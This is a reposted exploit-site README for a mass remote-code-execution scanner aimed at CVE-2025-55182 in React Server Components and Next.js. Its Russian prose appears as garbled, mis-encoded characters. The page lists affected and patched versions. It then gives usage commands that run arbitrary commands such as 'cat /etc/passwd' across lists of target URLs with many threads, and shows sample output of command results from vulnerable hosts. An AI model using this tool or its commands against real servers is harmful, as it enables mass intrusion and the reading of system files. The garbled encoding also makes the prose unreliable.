## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-QIXINLEE-CVE-2025-55182-SCANNER
# CVE-2025-55182 Π‘ΠΊΠ°Π½Π΅Ρ RCE
ΠΠ½ΡΡΡΡΠΌΠ΅Π½Ρ Π΄Π»Ρ ΠΌΠ°ΡΡΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½ΠΈΡ ΠΈ ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ ΡΠ΄Π°Π»ΡΠ½Π½ΠΎΠ³ΠΎ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ ΠΊΠΎΠ΄Π° CVE-2025β55182 (React2Shell).
> β οΈ **ΠΡΠΈΡΠΈΡΠ΅ΡΠΊΠ°Ρ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ CVSS 10.0** | ΠΠ°ΡΡΠ°Π³ΠΈΠ²Π°Π΅Ρ React Server Components ΠΈ Next.js 15.x/16.x | Π’ΠΎΠ»ΡΠΊΠΎ Π΄Π»Ρ Π°Π²ΡΠΎΡΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ ΡΠ΅ΡΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ
## ΠΠΏΠΈΡΠ°Π½ΠΈΠ΅ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ
CVE-2025β55182 (ΡΠ°ΠΊΠΆΠ΅ ΠΈΠ·Π²Π΅ΡΡΠ½Π°Ρ ΠΊΠ°ΠΊ Β«React2ShellΒ») β ΡΡΠΎ **Π½Π΅Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΡΠΈΡΠΎΠ²Π°Π½Π½Π°Ρ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ ΡΠ΄Π°Π»ΡΠ½Π½ΠΎΠ³ΠΎ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ ΠΊΠΎΠ΄Π° (RCE) Ρ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡΠ½ΡΠΌ ΡΠ΅ΠΉΡΠΈΠ½Π³ΠΎΠΌ CVSS 10.0**.
Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡ Π²ΡΠ·Π²Π°Π½Π° Π½Π΅Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΠΉ Π΄Π΅ΡΠ΅ΡΠΈΠ°Π»ΠΈΠ·Π°ΡΠΈΠ΅ΠΉ Π² ΠΏΠ°ΠΊΠ΅ΡΠ΅ `react-server` ΠΈΠ· ΡΠΎΡΡΠ°Π²Π° React Server Components (RSC) ΠΏΡΠΈ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ΅ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»Π° RSC Β«FlightΒ». ΠΠ»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ ΠΎΡΠΏΡΠ°Π²ΠΈΡΡ ΡΠΏΠ΅ΡΠΈΠ°Π»ΡΠ½ΠΎ ΡΡΠΎΡΠΌΠΈΡΠΎΠ²Π°Π½Π½ΡΠΉ HTTPβΠ·Π°ΠΏΡΠΎΡ ΠΈ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ»ΡΠ½ΡΠΉ ΠΊΠΎΠ΄ Π½Π° ΡΡΠ·Π²ΠΈΠΌΠΎΠΌ ΡΠ΅ΡΠ²Π΅ΡΠ΅.
ΠΠΎΡΠΊΠΎΠ»ΡΠΊΡ Next.js ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅Ρ ΠΏΡΠΎΡΠΎΠΊΠΎΠ» RSC Β«FlightΒ», Π΄Π°ΠΆΠ΅ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΡΠΎΠ·Π΄Π°Π½Π½ΠΎΠ΅ Ρ ΠΏΠΎΠΌΠΎΡΡΡ `create-next-app` Ρ Π½Π°ΡΡΡΠΎΠΉΠΊΠ°ΠΌΠΈ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ, ΠΌΠΎΠΆΠ΅Ρ Π±ΡΡΡ Π°ΡΠ°ΠΊΠΎΠ²Π°Π½ΠΎ Π±Π΅Π· Π½Π΅ΠΎΠ±Ρ
ΠΎΠ΄ΠΈΠΌΠΎΡΡΠΈ Π½Π°ΠΏΠΈΡΠ°Π½ΠΈΡ ΡΠ°Π·ΡΠ°Π±ΠΎΡΡΠΈΠΊΠΎΠΌ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°. Π‘ 5 Π΄Π΅ΠΊΠ°Π±ΡΡ 2025 Π³ΠΎΠ΄Π° Π·Π°ΡΠΈΠΊΡΠΈΡΠΎΠ²Π°Π½ΠΎ Π°ΠΊΡΠΈΠ²Π½ΠΎΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ ΡΡΠΎΠΉ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ.
### ΠΠΎΠ΄Π²Π΅ΡΠΆΠ΅Π½Π½ΡΠ΅ Π²Π΅ΡΡΠΈΠΈ
**React Server Components:**
ΠΠΌΡ ΠΏΠ°ΠΊΠ΅ΡΠ°| ΠΠΎΠ΄Π²Π΅ΡΠΆΠ΅Π½Π½ΡΠ΅ Π²Π΅ΡΡΠΈΠΈ
---|---
react-server-dom-webpack| 19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-turbopack| 19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-parcel| 19.0.0, 19.1.0, 19.1.1, 19.2.0
**Next.js (Ρ App Router):**
**ΠΡΡΠ³ΠΈΠ΅ ΠΏΠΎΡΠ΅Π½ΡΠΈΠ°Π»ΡΠ½ΠΎ ΡΡΠ·Π²ΠΈΠΌΡΠ΅ RSCβΡΡΠ΅ΠΉΠΌΠ²ΠΎΡΠΊΠΈ/ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΡ:**
* react-router
* waku
* @parcel/rsc
* @vitejs/plugin-rsc
* rwsdk
* RedwoodJS (ΡΠ΅ΠΆΠΈΠΌ RSC)
### ΠΡΠ΅ΠΌΠ΅Π½Π½ΡΠ΅ ΠΌΠ΅ΡΡ ΡΠΌΡΠ³ΡΠ΅Π½ΠΈΡ
**β οΈ ΠΠ°ΠΆΠ½ΠΎΠ΅ Π·Π°ΠΌΠ΅ΡΠ°Π½ΠΈΠ΅: Π΄Π»Ρ Π΄Π°Π½Π½ΠΎΠΉ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ Π½Π΅Ρ ΠΈΠ·Π²Π΅ΡΡΠ½ΡΡ
Π²ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ
ΠΌΠ΅Ρ ΡΠΌΡΠ³ΡΠ΅Π½ΠΈΡ; Π΅Π΄ΠΈΠ½ΡΡΠ²Π΅Π½Π½ΡΠΉ ΡΠΏΠΎΡΠΎΠ± ΠΈΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ β ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ Π΄ΠΎ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΠΉ Π²Π΅ΡΡΠΈΠΈ.**
**Π Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡΠ΅ΠΌΡΠ΅ Π²Π΅ΡΡΠΈΠΈ Π΄Π»Ρ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΡ:**
* **React:** ΠΎΠ±Π½ΠΎΠ²ΠΈΡΠ΅ΡΡ Π΄ΠΎ 19.0.1, 19.1.2 ΠΈΠ»ΠΈ 19.2.1
* **Next.js:** ΠΎΠ±Π½ΠΎΠ²ΠΈΡΠ΅ΡΡ Π΄ΠΎ 16.0.7, 15.5.7, 15.4.8 ΠΈΠ»ΠΈ 15.3.6
_ΠΡ ΡΠ°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΠΎΡΠΈΡΠΈΠ°Π»ΡΠ½ΡΠΉ npmβΠΏΠ°ΠΊΠ΅Ρ`fix-react2shell-next` Π΄Π»Ρ ΠΏΠΎΠΌΠΎΡΠΈ Π² ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΈ Π·Π°ΡΡΠΎΠ½ΡΡΡΡ
ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Next.js._
## Π£ΡΡΠ°Π½ΠΎΠ²ΠΊΠ° Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡΠ΅ΠΉ
root@kitploit:~
pip install requests
## ΠΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅
### ΠΠ°Π·ΠΎΠ²ΠΎΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅
root@kitploit:~
# ΠΠ°ΡΡΠΎΠ²ΠΎΠ΅ ΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ (ΡΡΠ΅Π½ΠΈΠ΅ ΡΠ΅Π»Π΅ΠΉ ΠΈΠ· urls.txt)
python CVE-2025-55182.py -f urls.txt
# ΠΡΠΎΠ²Π΅ΡΠΊΠ° ΠΎΠ΄Π½ΠΎΠΉ ΡΠ΅Π»ΠΈ
python CVE-2025-55182.py -u http://192.168.1.100:3000
### ΠΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»ΡΡΠΊΠ°Ρ ΠΊΠΎΠΌΠ°Π½Π΄Π°
root@kitploit:~
# ΠΡΠΏΠΎΠ»Π½ΠΈΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρ whoami
python CVE-2025-55182.py -f urls.txt -c "whoami"
# ΠΡΠΏΠΎΠ»Π½ΠΈΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρ hostname
python CVE-2025-55182.py -u http://target.com -c "hostname"
# ΠΡΠΎΡΠΈΡΠ°ΡΡ ΡΠ°ΠΉΠ»
python CVE-2025-55182.py -f urls.txt -c "cat /etc/passwd"
### Π Π°ΡΡΠΈΡΠ΅Π½Π½ΡΠ΅ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡ
root@kitploit:~
# Π£ΠΊΠ°Π·Π°ΡΡ ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ ΠΏΠΎΡΠΎΠΊΠΎΠ² ΠΈ ΡΠ°ΠΉΠΌΠ°ΡΡ
python CVE-2025-55182.py -f urls.txt -t 50 --timeout 15
# ΠΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»ΡΡΠΊΠΈΠΉ Π²ΡΡ
ΠΎΠ΄Π½ΠΎΠΉ ΡΠ°ΠΉΠ»
python CVE-2025-55182.py -f urls.txt -o scan_results.csv
# Π’ΠΈΡ
ΠΈΠΉ ΡΠ΅ΠΆΠΈΠΌ (Π²ΡΠ²ΠΎΠ΄ ΡΠΎΠ»ΡΠΊΠΎ ΡΡΠ·Π²ΠΈΠΌΡΡ
URL)
python CVE-2025-55182.py -f urls.txt -q
## ΠΠΏΠΈΡΠ°Π½ΠΈΠ΅ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΎΠ²
## Π€ΠΎΡΠΌΠ°Ρ ΡΠ°ΠΉΠ»Π° Ρ URL
ΠΠ΄ΠΈΠ½ URL Π½Π° ΡΡΡΠΎΠΊΡ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ:
root@kitploit:~
http://192.168.1.10:3000
http://192.168.1.11:3000
## ΠΡΠΈΠΌΠ΅Ρ Π²ΡΠ²ΠΎΠ΄Π°
root@kitploit:~
+---------------------------------------------------------------+
| ### ## ####### ## ## ######## ## ####### |
| #### ## ## ## ## ## ## ## |
| ## ## ## ##### ### ## ## ####### |
| ## #### ## ## ## ## ## ## ## |
| ## ### ####### ## ## ## #### ####### |
| |
| CVE-2025-55182 RCE Scanner |
+---------------------------------------------------------------+
============================================================
[ CONFIGURATION ]
============================================================
> Targets: 10
> Threads: 20
> Command: id
============================================================
[ SCANNING ]
============================================================
[14:30:25] [VULN] http://192.168.1.10:3000
'--> uid=1000(www-data)
[14:30:26] [SAFE] http://192.168.1.11:3000
+==========================================================+
| SCAN COMPLETE |
+==========================================================+
| Total Targets : 10 |
| Vulnerable : 1 |
| Safe : 9 |
| Errors : 0 |
+==========================================================+
## ΠΡΡ
ΠΎΠ΄Π½ΠΎΠΉ ΡΠ°ΠΉΠ»
Π Π΅Π·ΡΠ»ΡΡΠ°ΡΡ ΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΡ ΡΠΎΡ
ΡΠ°Π½ΡΡΡΡΡ Π² ΡΠΎΡΠΌΠ°ΡΠ΅ CSV ΡΠΎ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌΠΈ ΠΏΠΎΠ»ΡΠΌΠΈ:
* `url` β ΡΠ΅Π»Π΅Π²ΠΎΠΉ URL
* `status` β HTTPβΡΡΠ°ΡΡΡ
* `vulnerable` β Π½Π°Π»ΠΈΡΠΈΠ΅ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ
* `output` β ΡΠ΅Π·ΡΠ»ΡΡΠ°Ρ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρ
* `error` β ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ ΠΎΠ± ΠΎΡΠΈΠ±ΠΊΠ΅
## ΠΡΠΊΠ°Π· ΠΎΡ ΠΎΡΠ²Π΅ΡΡΡΠ²Π΅Π½Π½ΠΎΡΡΠΈ
ΠΠ°Π½Π½ΡΠΉ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½Ρ ΠΏΡΠ΅Π΄Π½Π°Π·Π½Π°ΡΠ΅Π½ ΡΠΎΠ»ΡΠΊΠΎ Π΄Π»Ρ Π°Π²ΡΠΎΡΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ ΡΠ΅ΡΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ. ΠΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠΉΡΠ΅ Π΅Π³ΠΎ Π² Π½Π΅Π·Π°ΠΊΠΎΠ½Π½ΡΡ
ΡΠ΅Π»ΡΡ
. ΠΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ Π±Π΅ΡΡΡ Π½Π° ΡΠ΅Π±Ρ Π²ΡΠ΅ ΡΠ²ΡΠ·Π°Π½Π½ΡΠ΅ ΡΠΈΡΠΊΠΈ.